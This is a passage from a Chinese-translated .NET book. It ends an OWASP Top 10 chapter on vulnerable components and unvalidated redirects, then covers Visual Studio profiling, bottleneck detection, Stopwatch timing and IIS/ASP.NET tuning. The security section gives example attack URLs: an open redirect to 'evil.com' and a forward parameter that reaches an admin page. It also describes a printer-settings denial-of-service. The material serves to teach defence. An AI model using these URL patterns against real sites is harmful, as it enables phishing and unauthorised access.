起初,似乎很容易找出商业或开源组件是否有已知漏洞。然而,不同版本的风险因素,尤其是最新版本,一方面被认为是更安全的,可以修复旧问题,但另一方面,它们可能引入新的缺陷。更不用说并非所有漏洞都报告给控制站点。

有像CVE常见漏洞和暴露)这样的地方,可以在cve.mitre.org/找到,或者可以在web.nvd.nist.gov/view/vuln/search访问的国家漏洞数据库NVD),在这些地方你可以搜索这类问题。

这里的问题是组件中的漏洞可能会引起各种各样的问题,从最简单的到最复杂的,针对某些类型组件的攻击被特别考虑。

例子很多,但让我们只考虑几个常见问题:

  • 多年来,Adobe Flash 一直是公司用于在浏览器中重现视频、插入广告、播放音频等的最受欢迎的扩展。实际上,有那么多,Adobe 不得不定期发布更新来处理安全问题。

    • 2010 年,史蒂夫·乔布斯宣布苹果移动设备将不再使用 Adobe Flash,这一情况达到了临界点。他发布了一封信件,解释了这样做的主要六个原因(www.apple.com/hotnews/thoughts-on-flash/),并推荐使用 HTML5 等标准。
  • 在 Windows 世界中,有很多例子,但为了给你一个概念,让我们考虑一个简单的桌面应用程序,它使用了一些控制面板的组件(另一方面,这是推荐的方法,而不是重新发明轮子)。

    • 现在,假设我们有一个简单的选项菜单,允许用户在打印报告之前选择配置。在.NET 中,我们有几个组件可用,它们映射到操作系统的相应对话框:打印对话框打印预览打印文档等等。

    • 如果我们不限制输入值,我们可能会陷入麻烦。比如说,用户被允许在字体大小(或者更糟糕的是,在副本数量)中给出任何值。对于某些配置,用户可以设置字体大小为 900 pt,副本数量为 32564。系统可能会崩溃,或者网络中的打印服务器可能会开始使用虚拟内存来存储发送的大量信息。在这里,我们有一个非常简单的方式来构建DoS服务拒绝)攻击。

我们必须考虑到,通常,组件以应用程序的完整权限运行,而我们通常没有源代码来防止这些攻击。

正式来说,我们应该做以下事情:

  1. 识别您正在使用的所有组件及其版本,包括所有依赖项(例如,版本插件)。

  2. 监控这些组件在公共数据库、项目邮件列表和安全邮件列表中的安全性,并保持它们更新。

  3. 制定管理正在使用的组件的安全策略,例如要求某些软件开发实践、通过安全测试以及拥有可接受的许可证。

  4. 在适当的情况下,考虑在组件周围添加安全包装,以禁用未使用的功能以及/或保护组件的薄弱或易受攻击的方面。

在.NET 中,OWASP 针对这一漏洞创建了一份新文档:OWASP SafeNuGet,可在www.owasp.org/index.php/OWASP_SafeNuGet找到。然而,如果您需要测试某个组件,所需的代码在同名 GitHub 项目中可供使用(github.com/OWASP/SafeNuGet),在那里您将找到一个 MSBuild 项目,可以帮助您完成任务,以及说明和细节。

A10 – 无效的重定向和转发

网络应用程序经常将用户重定向和转发到其他页面和网站,并使用不可信的数据来确定目标页面。如果没有适当的验证,攻击者可以将受害者重定向到钓鱼或恶意网站,或者使用转发来访问未经授权的页面。

正如您在官方定义中看到的,这里的问题是重定向。或者,更准确地说,问题是非安全方式的重定向。

官方文档建议,了解某些软件是否包含危险的转发重定向的最佳方法如下:

  • 修改任何重定向或转发(.NET 中的传输)的代码。一旦确定,检查目标 URL 是否包含在任何参数值中。如果是,目标 URL 没有通过白名单进行验证,因此,你存在漏洞。

  • 另一种可能性是网站生成重定向,这对应于 HTTP 响应代码 300-307,通常是 302 代码。在这里,我们应该检查重定向之前提供的参数,以查看它们是否看起来像目标 URL 或 URL 的片段。如果是,你必须更改 URL 目标并观察网站是否重定向到新的目标。

  • 如果没有代码要审查,那么你应该检查所有参数,以寻找相同的 URL 模式,测试那些真正执行重定向的参数。

文档包括几个攻击示例,我们可以将其适应.NET 环境:

  • 场景 #1:应用程序有一个名为redirect.aspx的页面,它接受一个名为url的单个参数。攻击者构建一个恶意 URL,将用户重定向到执行钓鱼和安装恶意软件的恶意网站:

    http://www.example.com/redirect.aspx?url=evil.com
    
    

    在这种情况下,问题在于在url参数旁边,攻击者可能会被重定向到他们自己的网站或其他类型的网站。

  • 场景 #2:应用程序使用转发在网站的各个部分之间路由请求。为了方便起见,一些页面使用一个参数来指示如果交易成功,用户应该被发送到何处。在这种情况下,攻击者构建一个 URL,该 URL 将通过应用程序的访问控制检查,然后将攻击者转发到攻击者未经授权的行政功能:

    http://www.example.com/something.aspx?fwd=admin.aspx
    
    

记住,这种类型的行为在 Web 开发中很常见。

摘要

在本章中,我们探讨了 OWASP Top 10 倡议,分析了每种威胁的风险和后果,以及可能的预防方法。

我们还包含了一些针对那些已经在 Visual Studio 模板中解决或易于实现且在常用中常见的威胁的代码。

在下一章中,我们将介绍应用程序的优化以及.NET 提供的编译为本地代码的不同技术,例如通过配置程序集进行优化、并行性等。

第十二章:性能

在上一章中,我们介绍了与 Top 10 OWASP 倡议相关的最重要的安全问题,该倡议的目标是,用他们自己的话说,“通过识别组织面临的一些最关键风险来提高对应用安全性的认识”。

在本章中,我们将回顾开发者遇到的应用性能的常见问题,并探讨通常建议的技术和技巧,以获得灵活、响应迅速且表现良好的软件,特别强调网络性能。我们将涵盖以下主题:

  • 回顾性能背后的概念(应用性能工程

  • 我们将探讨在 Visual Studio 中可用的最有趣的工具,用于测量和调整性能,包括 IntelliTrace 和新的选项,如 PerfTips 和诊断工具

  • 我们还将检查在开发者工具菜单(F12)中可用的最实用的可能性

  • 我们将评论最被接受和知名的性能实践,以及一些用于检查瓶颈的软件工具

  • 最后,我们将关注网络应用性能中最常见的问题,重点关注 ASP.NET 优化

应用性能工程

根据吉姆·梅茨勒和史蒂夫·泰勒的说法,应用性能工程APE)涵盖了在应用生命周期每个阶段应用的职责、技能、活动、实践、工具和可交付成果,以确保应用将被设计、实施和运营支持,以满足非功能性性能需求。

定义中的关键词是非功能性。假设应用是工作的,但一些方面,如执行交易或文件上传所需的时间,应该从生命周期的开始就考虑。

因此,问题可以反过来分为几个部分:

  • 一方面,我们必须确定应用哪些方面可能会产生有意义的瓶颈

  • 这意味着测试应用,测试当然会根据应用类型而变化:例如,业务线、游戏、网络应用、桌面应用等。这些应该引导我们确定与最终生产环境相关的应用性能目标。

  • 开发团队应该能够处理可以通过经过验证的软件技术解决(或改善)的性能问题:将中间代码转换为本地代码、汇编重构、优化垃圾收集器、序列化消息以实现可伸缩性、异步请求、执行线程、并行编程等。

  • 另一个方面是性能指标。这些指标应该可以通过某些性能测试来衡量,以便对性能目标有真正的洞察。

我们可以考虑许多可能性的性能指标:物理/虚拟内存使用、CPU 利用率、网络和磁盘操作、数据库访问、执行时间、启动时间等等。

每种类型的应用程序都会建议一个独特的目标集来关注。此外,请记住,性能测试应在所有集成测试完成后进行。

最后,让我们说,通常,在衡量性能时,一些测试被认为是标准的:

  • 负载测试:这是为了测试软件在重负载下的表现,例如当你模拟大量用户测试一个网站,以确定在什么点应用程序的响应时间会下降甚至失败。

  • 压力测试:这是你的应用程序想要获得官方“为 Windows X.x 制作”标志必须通过的一项测试。它基于将系统工作在超出其规格的条件下,以检查它在哪里(以及如何)失败。这可能包括使用超出存储容量的重负载、非常复杂的数据库查询,或者连续向系统或数据库中输入数据,等等。

  • 容量测试:MSDN 模式和惯例也包括这种类型的测试,它是负载测试的补充,以确定服务器的最终故障点,而负载测试则检查在特定负载和流量级别下的结果。

在这些类型的测试中,明确确定要针对的负载以及为特殊情况制定应急计划是很重要的(这在网站上更为常见,当预计每秒用户量会有峰值时)。

工具

幸运的是,我们可以依赖 IDE 中提供的一系列工具以多种方式执行这些任务。正如我们在第一章中看到的,其中一些工具在我们在 Visual Studio 2015(包括社区版在内的所有版本)中启动应用程序时直接可用。

有关这些工具的更多详细信息,包括默认启动的诊断工具,显示事件CPU 使用率内存使用率,请参阅本书第一章“CLR 内部”中的“关于 Visual Studio 2015 中程序集执行和内存分析的快速提示”部分。

作为提醒,下面的截图显示了简单应用程序的执行以及诊断工具在运行时显示的预定义分析:

工具

然而,请注意,一些其他工具也可能很有用,例如 Fiddler,这是一个流量嗅探器,在分析 Web 性能和请求/响应包内容时扮演着出色的角色。

其他工具是可编程的,例如StopWatch类,它允许我们精确地测量代码块执行所需的时间,我们还有.NET 自第一版以来的性能计数器和 Windows 事件跟踪(ETW)。

即使在系统本身中,我们也可以找到有用的元素,例如事件日志(用于监控行为——在.NET 中完全可编程),或者为 Windows 专门设计的工具,例如我们在第一章中提到的 SysInternals 套件。在这种情况下,您会发现最有用的工具之一是PerfMon性能监控器),尽管您可能还记得我们还提到了 FileMon 和 RegMon。

Visual Studio 2015 的高级选项

然而——尤其是 2015 和 2017 版本——IDE 包含了许多更多用于检查运行时执行和性能的功能。这些功能的大部分都可通过调试菜单选项(一些在运行时,一些在版本中)访问。

然而,在编辑器中可用的最易于使用的工具之一是一个名为性能提示的新选项,它显示了函数完成所需的时间,并在下一段代码中展示。

假设我们有一个简单的方法,它从磁盘读取文件信息,然后选择那些名称中不包含空格的文件。它可能看起来像这样:

private static void ReadFiles(string path)
{
    DirectoryInfo di = new DirectoryInfo(path);
    var files = di.EnumerateFiles("*.jpg", 
        SearchOption.AllDirectories).ToArray<FileInfo>();
    var filesWoSpaces = RemoveInvalidNames(files);
    //var filesWoSpaces = RemoveInvalidNamesParallel(files);
    foreach (var item in filesWoSpaces)
    {
        Console.WriteLine(item.FullName);
    }
}

RemoveInvalidNames方法使用另一个简单的CheckFile方法。其代码如下:

private static bool CheckFile(string fileName)
{
    return (fileName.Contains(" ")) ? true : false;
}
private static List<FileInfo> RemoveInvalidNames(FileInfo[] files)
{
    var validNames = new List<FileInfo>();
    foreach (var item in files)
    {
        if (CheckFile(item.Name)==true) {
            validNames.Add(item);
        }
    }
    return validNames;
}

我们本可以在RemoveInvalidNames方法内部插入CheckFile功能,但应用单一职责原则在这里有一些优势,正如我们将看到的。

由于文件选择将花费一些时间,如果我们直接在foreach循环之前设置一个断点,我们将在这些提示中的一个中得知时间:

Visual Studio 2015 的高级选项

当然,这些代码片段的真实价值在于我们可以看到整个过程并对其进行评估。这不仅关乎所花费的时间,还关乎系统的行为。因此,让我们在方法末尾再设置一个断点,看看会发生什么:

Visual Studio 2015 的高级选项

如您所见,整个过程大约花费了 1.2 秒。IDE 提醒我们,我们可以打开诊断工具来检查这段代码的行为,并有一个详细的总结,如下一个复合截图所示(请注意,您将在工具中的三个不同的停靠窗口中看到它):

Visual Studio 2015 的高级选项

以这种方式,我们不需要显式创建一个StopWatch实例来测量过程延迟了多少。

这些性能提示报告了花费的时间,表明小于或等于(<=)一定数量的内容。这意味着它们考虑了调试过程的开销(符号加载等),并将其排除在测量之外。实际上,在 CLR v4.6 和 Windows 10 上可以获得最高的精度。

至于 CPU 图表,它使用所有可用的核心,当你发现一个值得检查的峰值时,即使它没有达到 100%,对于不同类型的问题,我们将在后面列举(请记住,此功能在调试结束之前不可用)。

诊断工具菜单中的高级选项

实际上,我们可以逐句追踪并确切地看到大部分时间花在了哪里(以及我们应该在哪里修改代码以寻找改进)。

如果你在这个机器上重现此代码,根据读取的文件数量,你会在诊断工具菜单的底部窗口中看到一个列表,显示每个生成的事件及其处理所需的时间,如下面的截图所示:

诊断工具菜单中的高级选项

多亏了 IntelliTrace,您可以精确配置调试器在一般情况或特定应用程序中的行为方式。只需转到工具 | 选项,然后选择IntelliTrace 事件(在树视图中有一个单独的条目)。

这允许开发者选择他们感兴趣的事件类型。例如,如果我们想监控控制台事件,我们可以选择在应用程序中需要针对的目标:

诊断工具菜单中的高级选项

为了测试这一点,我编写了一个非常简单的控制台应用程序来显示一些值以及可用的行数和列数:

Console.WriteLine("Largest number of Window Rows: " + Console.LargestWindowHeight);
Console.WriteLine("Largest number of Window Columns: " + Console.LargestWindowWidth);
Console.Read();

一旦 IntelliTrace 配置为显示名为ConsoleApplication1的此应用程序的活动,我们就可以在事件窗口中跟踪所有事件,然后选择我们感兴趣的事件并检查其中的激活历史调试

诊断工具菜单中的高级选项

一旦我们这样做,IDE 将重新启动执行,现在,自动局部变量监视窗口再次出现,但显示应用程序在执行过程中在那个精确时刻管理的值。

实际上,这就像记录应用程序在运行时给出的每个步骤,包括我们在此过程中之前选定的任何变量、对象或组件的值(参见图表):

诊断工具菜单中的高级选项

此外,请注意,提供的信息还包括每个事件在运行时花费的确切时间指示。

此外,我们还可以为应用程序的不同方面配置其他配置文件。我们可以在调试器菜单下的不进行调试启动诊断工具选项中进行配置。

小贴士

当使用不进行调试启动诊断工具时,IDE 会提醒我们更改默认配置为发布,如果我们想获得准确的结果。

注意,配置文件可以附加到系统中的不同应用程序,而不仅仅是我们在构建的应用程序。将打开一个新的配置页面,分析目标选项显示不同类型的应用程序,如您在下一张屏幕截图中所见。

这可以是当前的应用程序(ConsoleApplication1),一个 Windows 商店应用程序(无论是正在运行还是已经安装),在 Windows 手机上浏览网页,选择任何其他可执行文件,或者启动在 IIS 上运行的 ASP.NET 应用程序:

诊断工具菜单中的高级选项

这还不是与性能和 IntelliTrace 相关的全部内容。如果您选择显示所有工具链接,将呈现更多选项,这些选项与要测量的不同类型的应用程序和技术相关。

以这种方式,在不适用工具链接中,我们看到其他一些有趣的功能,例如以下内容:

  • 应用程序时间线:用于检查在应用程序执行中花费更多时间的地方(例如典型的低帧率)。

  • HTML UI 响应性:特别适用于您有一个混合服务器和客户端代码的应用程序,并且客户端的一些操作花费了太多时间(例如 Angular、Ext、React、Ember 等框架)。

  • 网络:这是之前提到的网络场景的一个非常有用的补充,问题就出在网络本身。您可以检查响应头、每个请求的时间线、cookies 以及更多内容。

  • 能耗:这在移动应用程序中尤其有意义。

  • JavaScript 内存:再次,当处理使用外部框架的 Web 应用程序时,我们不知道潜在的内存泄漏在哪里时,非常有用。

下一个屏幕截图显示了这些选项:

诊断工具菜单中的高级选项

如您所见,这些选项显示为不适用,因为在控制台应用程序中它们没有意义。

一旦我们在开始按钮中启动配置文件,助手就会启动,我们必须选择目标类型:CPU 样本、仪器(用于测量函数调用)、.NET 内存分配和资源争用数据(并发),这可以检测等待其他线程的线程。

在助手的最后屏幕上,我们有一个复选框,表示我们是否希望在之后立即启动分析。应用程序将被启动,当执行完成后,将生成一个分析报告并在新窗口中显示:

诊断工具菜单中的高级选项

我们有几种可用的视图:摘要标记(显示执行中所有相关的计时信息)和进程(显然,显示任何参与执行的过程的信息)。

在我们获得的结果中,这个最新的选项特别有趣。使用相同的 ConsoleApplication1 文件,我将添加一个新的方法来创建一个 Task 对象,并使执行暂停至 1500 毫秒:

private static void RunANewTask()
{
    Task task = Task.Run(() =>
    {
        Console.WriteLine("Task started at: " + 
            DateTime.Now.ToLongTimeString());
        Thread.Sleep(1500);
        Console.WriteLine("Task ended at: " + 
            DateTime.Now.ToLongTimeString());
    });
    Console.WriteLine("Task finished: " + task.IsCompleted);
    task.Wait();  // Blocked until the task finishes
}

如果我们在分析器中激活此进程选项,我们将看到一系列分析选项,生成的报告包含根据我们的需求以不同方式过滤数据的信息:时间调用树热点行报告比较(带有导出)、过滤器,甚至更多。

例如,我们可以通过在诊断工具菜单中双击一个事件来查看在收集视图时的调用堆栈:

诊断工具菜单中的高级选项

注意我们如何展示了与最争用资源最争用线程相关的信息,并按每个监控元素进行了细分:要么是句柄,要么是线程编号。这是尽管在 Visual Studio 的早期版本中可用,但应通过性能计数器管理的功能之一,正如你在 Maxim Goldin 的文章《线程性能 - Visual Studio 2010 中的资源争用并发分析》中读到的,该文章作为 MSDN 杂志的一部分提供,网址为msdn.microsoft.com/en-us/magazine/ff714587.aspx

除了截图显示的信息外,许多其他视图都提供了更多关于执行的数据:模块线程资源标记进程函数详情等等。

下一个截图显示了如果你按照这些步骤操作,你将看到的内容:

诊断工具菜单中的高级选项

总结一下,你刚刚学习了 IDE 如何提供一套现代、更新的工具,而决定哪个是所需分析的最佳解决方案只是时间问题。

其他工具

如前一章所述,现代浏览器提供了分析网页行为的新颖和令人兴奋的可能性。

由于假设初始着陆时间对用户的感知至关重要,因此一些这些功能直接与性能相关(分析内容、总结每个资源的请求时间、通过一瞥展示图形信息等等)。

网络标签通常存在于大多数浏览器中,显示了当前页面中每个元素的加载时间详细报告。在某些情况下,此报告附有图形图表,指示哪些元素花费了更多时间完成。

在某些情况下,名称可能会有所不同,但功能相似。例如,在 Edge 中,你有一个性能标签,它记录活动并生成详细的报告,包括图形信息。

在 Chrome 中,我们发现其时间线标签,这是页面性能的记录,同时也展示了结果的摘要。

最后,在 Firefox 中,我们有一套出色的工具来检查性能,从网络标签开始,它分析每个请求的下载时间,甚至在我们将光标移至列表中的每个元素上时,还会显示详细的摘要,允许我们通过类别过滤这些请求:HTML、CSS、JS、图片、插件等,如下面的截图所示:

其他工具

此外,在 Chrome 中,我们还可以找到一个有趣的标签:审计。其目的是监控页面行为的各个方面,例如 CSS 的正确使用(及其影响),合并 JavaScript 文件以提高整体性能(称为捆绑和压缩操作),以及 Chrome 认为可以改进的完整问题列表,主要在两个方面:网络利用率网页性能。下面的截图显示了简单页面的最终报告:

其他工具

在结束与浏览器相关的性能功能回顾时,也要考虑在某些浏览器中,我们发现了一个性能标签,专门用于加载响应时间或类似工具,例如 Chrome 中的页面洞察和 Firefox 中的一个类似功能(我特别推荐 Firefox 开发者版,因为它为开发者提供了非常实用的功能)。

在这种情况下,你可以记录一个会话,其中 Firefox 获取所有必要的信息来展示性能,你可以在以后以多种形式分析这些信息:

其他工具

注意,性能主要关注 JavaScript 的使用,但它可以高度自定义页面行为的其他方面。

性能调优的过程

就像任何其他软件过程一样,我们可以将性能调优视为一个周期。在这个周期中,我们试图识别并消除任何缓慢的功能或瓶颈,直到达到性能目标。

该过程包括数据收集(使用我们看到的工具)、分析结果以及配置更改,有时甚至在代码中,具体取决于所需的解决方案。

完成每个周期更改后,你应该重新测试并测量代码,以检查是否达到了目标,并且你的应用程序是否更接近其性能目标。微软的 MSDN 建议一个周期过程,我们可以将其扩展到几个不同的场景或应用程序类型。

请记住,软件调优通常意味着也要调整操作系统。你不应该更改系统的配置以使特定应用程序正确运行。相反,尝试重新创建最终环境和该环境可能(或可预测的)演变的方式。

只有在你绝对确信你的代码是最佳可能的情况下,你才应该建议对系统进行更改(增加内存、更好的 CPU、显卡等)。

下图来自官方 MSDN 文档,突出了这个性能周期:

性能调优的过程

性能计数器

如您所知,操作系统使用性能计数器(默认安装的功能)来检查其性能,并最终通知用户有关性能限制或不良行为。

虽然它们仍然可用,但我们在 IDE 中看到的新工具提供了一个更好且更集成的方法来检查和分析应用程序的性能。

瓶颈检测

MSDN 的官方文档为我们提供了一些线索,我们可以在瓶颈检测过程中记住这些线索,并将可能的来源主要分为四类(每一类都提出了独特的管理):CPU、内存、磁盘 I/O 和网络 I/O。

对于.NET 应用程序,在识别可能的瓶颈时,以下建议被认为是正确的:

  • CPU:至于 CPU,请在诊断工具中查找峰值。如果您找到了一个,请缩小搜索范围以确定原因并分析代码。如果峰值在一段时间内超过 CPU 使用率的 75%以上,则被视为有害。

    • 在这种情况下,后果可能与代码有关。一般来说,异步进程、任务或并行编程被认为对解决这类问题有积极影响。
  • 内存:在这里,内存峰值可能有几个原因。它可能是我们的代码,但也可能是一个涉及大量使用内存(物理或虚拟)的过程。

    • 可能的原因包括不必要的分配、不高效的清理或垃圾回收、缺乏缓存系统等。当使用虚拟内存时,结果可能会立即变差。
  • 磁盘 I/O:这指的是在本地存储系统或应用程序可访问的网络中执行的操作(读取/写入)数量。

    • 有多个原因可以引发这里的瓶颈:读取或写入长文件、访问过度使用或配置不佳的网络、涉及加密数据操作、从数据库中不必要的读取,或者过度的分页活动。

    • 为了解决这类问题,MSDN 推荐以下方法:

    • 首先从您的应用程序中移除任何多余的磁盘 I/O 操作。

    • 确定您的系统是否缺少物理内存,如果是,则添加更多内存以避免过度分页。

    • 确定您是否需要将数据分散到多个磁盘上。

    • 如果在执行了所有前面的选项之后,您仍然有磁盘 I/O 瓶颈,请考虑升级到更快的磁盘。

  • 网络 I/O:这是关于您的服务器发送/接收的信息量。这可能是一个过多的远程调用数量,或者通过单个网络接口卡(NIC 流量)路由的数据量,或者可能与大量调用中发送或接收的大量数据有关。

每个可能的瓶颈可能都有一个不同的根本原因,我们应该基于诸如以下问题仔细分析可能的起源:这是否是因为我的代码,还是因为硬件?如果是硬件问题,是否有通过软件改进来加速过程的方法?等等。

实际瓶颈检测

在确定.NET 瓶颈的时候,你仍然可以使用(除了我们已经看到的所有这些工具之外)性能计数器,尽管我们之前看到的技术本应大大简化检测过程。

然而,与一些问题检测相关的官方建议仍然是一个有价值的线索。因此,关键在于寻找等效的值。

根据要测量的特性,有几种类型,如 MSDN 建议:

  • 过度内存消耗:由于原因通常是不正确的内存管理,我们应该在以下方面寻找值:

    • 进程/私有字节

    • .NET CLR 内存/# 所有堆的字节数

    • 进程/工作集

    • .NET CLR 内存/大对象堆大小

    这些计数器的关键是,如果你在所有堆的字节数保持不变的情况下发现私有字节的增加,这意味着存在某种未管理的内存消耗。如果你观察到两个计数器都增加,那么问题在于托管内存消耗。

  • 大的工作集大小:我们应该理解工作集意味着在给定时间内加载到 RAM 中的所有内存页面。测量这个问题的方法是使用进程\工作集性能计数器。现在我们有了其他功能,但需要查找的点是一样的,基本上:

    • 如果你得到一个高值,这可能意味着加载的程序集数量也非常高。在这个计数器中没有特定的阈值要关注;然而,一个高值或频繁变化的值可能是内存短缺的关键。

    • 如果你看到高页面错误率,这可能意味着你的服务器应该有更多的内存。

  • 碎片化的大对象堆:在这种情况下,我们必须关注分配在大对象堆LOH)中的对象。通常,大于 85 KB 的对象被分配在那里,并且传统上使用.NET CLR 内存\大对象堆大小分析器来检测,现在使用我们之前看到的内存诊断工具。

    • 它们可能是缓冲区(用于大字符串、字节数组等),这在 I/O 操作(如BinaryReaders)中很常见。

    • 这些分配会极大地碎片化 LOH。因此,回收这些缓冲区是一种良好的做法,以避免碎片化。

  • 高 CPU 利用率:这通常是由于编写不佳的托管代码引起的,就像代码执行以下操作时发生的那样:

    • 强制 GC 过度使用。这个特性的度量以前是用 GC 计数器的%Time完成的。

    • 此外,当代码引发许多异常时,你可以使用.NET CLR 异常/每秒抛出的异常数来测试。

    • 生成大量线程。这可能会导致 CPU 花费大量时间在线程之间切换(而不是执行实际工作)。之前使用Thread\Context Switches/sec进行测量,现在我们可以使用之前看到的分析目标功能进行检查。

  • 线程争用: 这发生在多个线程尝试访问共享资源时(记住,一个进程创建了一个所有与其关联的线程都可以访问的共享资源区域)。

    通常通过观察两个性能计数器来识别这种症状:

    • .NET CLR LocksAndThreads\Contention Rate/sec

    • .NET CLR LocksAndThreads\Total # of Contentions

当这两个值有意义地增加时,你的应用程序被认为存在争用率问题或遇到线程争用。应识别出负责的代码并进行重写。

使用代码评估性能

如前所述,除了我们看到的工具集之外,还可以将这些技术与专门为方便我们自己的性能测量而设计的软件工具相结合。

最著名的是Stopwatch类,它属于System.Diagnostics命名空间,我们在第一章中已经使用它来测量排序算法等。

首先要记住的是,根据系统不同,Stopwatch类将提供不同的值。如果我们想知道我们可以获得多精确的测量,我们最初可以查询这些值。实际上,这个类包含两个重要的只读属性:FrequencyIsHighResolution

此外,一些方法完成了一套完整的功能。让我们回顾一下它们的意义:

  • 频率: 这将获取计时器的频率,以每秒的滴答次数表示。数字越高,我们的Stopwatch类表现越精确。

  • IsHighResolution: 这表示计时器是否基于高分辨率性能计数器。

  • Elapsed: 这将获取测量的总经过时间。

  • ElapsedMilliseconds: 这与Elapsed相同,但以毫秒为单位进行测量。

  • ElapsedTicks: 这与Elapsed相同,但以滴答为单位进行测量。

  • IsRunning: 这是一个布尔值,表示Stopwatch是否仍在运行。

Stopwatch类也有一些方便的方法来简化这些任务:ResetRestartStartStop,你可以通过它们的名字轻松推断出它们的功能。

因此,让我们使用之前和现在的测试中的读取文件方法,以及一个Stopwatch来通过一些基本代码检查这些功能:

var resolution = Stopwatch.IsHighResolution;
var frequency = Stopwatch.Frequency;
Console.WriteLine("Stopwatch initial use showing basic properties");
Console.WriteLine("----------------------------------------------");
Console.WriteLine("High resolution: " + resolution);
Console.WriteLine("Frequency: " + frequency);
Stopwatch timer = new Stopwatch();
timer.Start();
ReadFiles(pathImages);
timer.Stop();
Console.WriteLine("Elapsed time: " + timer.Elapsed);

使用这种基本方法,我们可以得到进程总经过时间的简单指示,如下一张截图所示:

使用代码评估性能

我们可以使用类提供的其他属性来获得更高的精度。例如,我们可以使用Frequency属性来测量Stopwatch在尝试获取纳秒时使用的基本时间单位。

此外,该类还有一个静态的StartNew()方法,我们可以用它来处理这些简单的情况;因此,我们可以这样更改前面的代码:

static void Main(string[] args)
{
    //BasicMeasure();
    for (int i = 1; i < 9; i++)
    {
        PreciseMeasure(i);
        Console.WriteLine(Environment.NewLine);
    }
    Console.ReadLine();
}
private static void PreciseMeasure(int step)
{
    Console.WriteLine("Stopwatch precise measuring (Step " + step +")");
    Console.WriteLine("------------------------------------");
    Int64 nanoSecPerTick = (1000L * 1000L * 1000L) / Stopwatch.Frequency;
    Stopwatch timer = Stopwatch.StartNew();
    ReadFiles(pathImages);
    timer.Stop();
    var milliSec = timer.ElapsedMilliseconds;
    var nanoSec = timer.ElapsedTicks / nanoSecPerTick;
    Console.WriteLine("Elapsed time (standard): " + timer.Elapsed);
    Console.WriteLine("Elapsed time (millisenconds): " + milliSec + "ms");
    Console.WriteLine("Elapsed time (nanoseconds): " + nanoSec + "ns");
}

正如你所见,我们使用一个小循环来执行测量三次。因此,我们可以比较结果,并得到一个更准确的测量,计算平均值。

此外,我们正在使用类的静态StartNew方法,因为它是针对这个测试有效的(想想你可能需要几个Stopwatch类的实例来测量应用程序的不同方面或块的情况)。

当然,在循环的每一步中,结果都不会完全相同,正如我们在下一个截图中所看到的程序输出(请记住,根据任务和机器的不同,这些值会有很大的变化):

使用代码来评估性能

此外,请注意,由于系统的缓存和资源分配,每个新的循环似乎比前一个循环花费的时间少。这在我的机器上取决于不同的系统状态。如果您需要进行精确评估,建议至少执行这些测试 15 或 20 次,并计算平均值。

优化 Web 应用程序

对于许多专家来说,优化 Web 应用程序是一种黑魔法,它结合了如此多的功能,实际上,关于这个主题已经出版了大量的书籍。

我们将专注于.NET,因此也将专注于 ASP.NET 应用程序,尽管一些建议可以扩展到任何 Web 应用程序,无论其如何构建。

许多研究都探讨了推动用户卸载应用程序或避免使用它的原因。已确定以下四个因素:

  • 应用程序(或网站)冻结

  • 应用程序崩溃

  • 响应缓慢

  • 电池消耗量大(对于移动设备和平板电脑来说,显然)

所以,除了电池考虑之外,应用程序应该快速、流畅和高效。但这些关键词对我们来说究竟意味着什么呢?

  • 快速意味着从一个点 A 到点 B 的移动应该始终以最短的时间完成:从应用程序启动到在页面之间导航、方向变化等等。

  • 流畅性涉及到平滑的交互。翻页、软动画旨在指示状态或展示的信息的变化,消除故障、图像闪烁等等。

  • 当资源的使用是适当的时候,一个应用程序或网站被认为是高效的:磁盘资源、内存占用、电池寿命、带宽等等。

在任何情况下,整体性能通常与以下领域相关:

  • 托管环境(通常是 IIS)

  • ASP.NET 环境

  • 应用程序的代码

  • 客户端

因此,让我们快速回顾一下在优化这些因素时需要考虑的一些方面,以及一些在提高页面性能时通常被认为有用的其他建议。

IIS 优化

在优化 IIS 时,有一些技术被广泛认为是有效的,所以我将总结一些 Brian Posey 在 Top Ten Ways To Pump Up IIS Performance (technet.microsoft.com/es-es/magazine/2005.11.pumpupperformance.aspx) 这篇 Microsoft TechNet 文章中提供的建议:

  • 确保启用 HTTP Keep-Alives:这将在所有文件请求完成之前保持连接开启,避免不必要的打开和关闭。自 IIS6 以来,此功能默认启用,但出于谨慎,最好还是检查一下。

  • 调整连接超时:这意味着在一段时间的不活动后,IIS 无论如何都会关闭连接。请确保配置的超时时间足以满足您网站的需求。

  • 启用 HTTP 压缩:这对于静态内容特别有用。但请注意,压缩动态页面:IIS 应该为每个请求每次压缩它们。如果您有大量流量,后果是额外的很多工作。

  • 考虑使用 Web Gardens:您可以使用 Web Gardens 将多个工作进程分配给应用程序池。如果其中某个进程挂起,其余的可以继续处理请求。

  • 对象缓存 TTL(生存时间):IIS 缓存请求的对象并为每个对象分配一个 TTL(因此之后会删除它们)。但是,请注意,如果这个时间不够,您应该编辑注册表,并且要非常小心(前面提到的文章解释了如何做这件事)。

  • 回收:您可以通过回收内存来避免服务器中的内存泄漏。您可以指定 IIS 在每天特定时间(例如每 3 小时或您认为合适的任何时间)或当您认为应用程序池已收到足够多的请求时回收应用程序池。web.config 中的 <recycle> 元素允许您调整此行为。

  • 限制队列长度:如果您在服务器上检测到请求过多,限制 IIS 允许服务的请求数量可能是有用的。

ASP.NET 优化

在最近版本的 ASP.NET 中,有许多优化技巧,这些技巧对应于错误修复、改进以及开发人员向开发团队提出的建议,您可以在网上找到大量关于此的文献。例如,Brij Bhushan Mishra 撰写了一篇关于这个主题的有趣文章(参考www.infragistics.com/community/blogs/devtoolsguy/archive/2015/08/07/12-tips-to-increase-the-performance-of-asp-net-application-drastically-part-1.aspx),推荐了一些不太为人所知的 ASP.NET 引擎方面。

一般而言,我们可以将优化分为几个区域:通用和配置缓存负载均衡数据访问客户端

通用和配置

在处理 ASP.NET 应用程序的优化时,有一些通用的和配置规则适用。让我们看看其中的一些:

  • 总是记得在发布模式下测量您的性能问题。差异可能很明显,并隐藏性能问题。

  • 记得使用我们看到的分析工具,并使用这些工具和不同的浏览器比较相同的网站(有时,某个特定的功能可能在一个浏览器中受到影响,而在其他浏览器中则不太受影响)。

  • 修订管道中的未使用模块:即使它们没有被使用,请求也必须通过为您的应用程序池预定义的所有模块进行传递。然而,我如何知道哪些模块是激活的?

    • 有一种简单的方法来实现这一点。我们可以使用应用程序实例并在一个变量中恢复加载的模块集合,正如您在以下代码中所看到的。稍后,只需设置一个断点来查看结果:

      HttpApplication httpApps = HttpContext.ApplicationInstance;
      //Loads a list with active modules in the ViewBag
      HttpModuleCollection httpModuleCollections = httpApps.Modules;
      ViewBag.modules = httpModuleCollections;
      ViewBag.NumberOfLoadedModules = httpModuleCollections.Count;
      

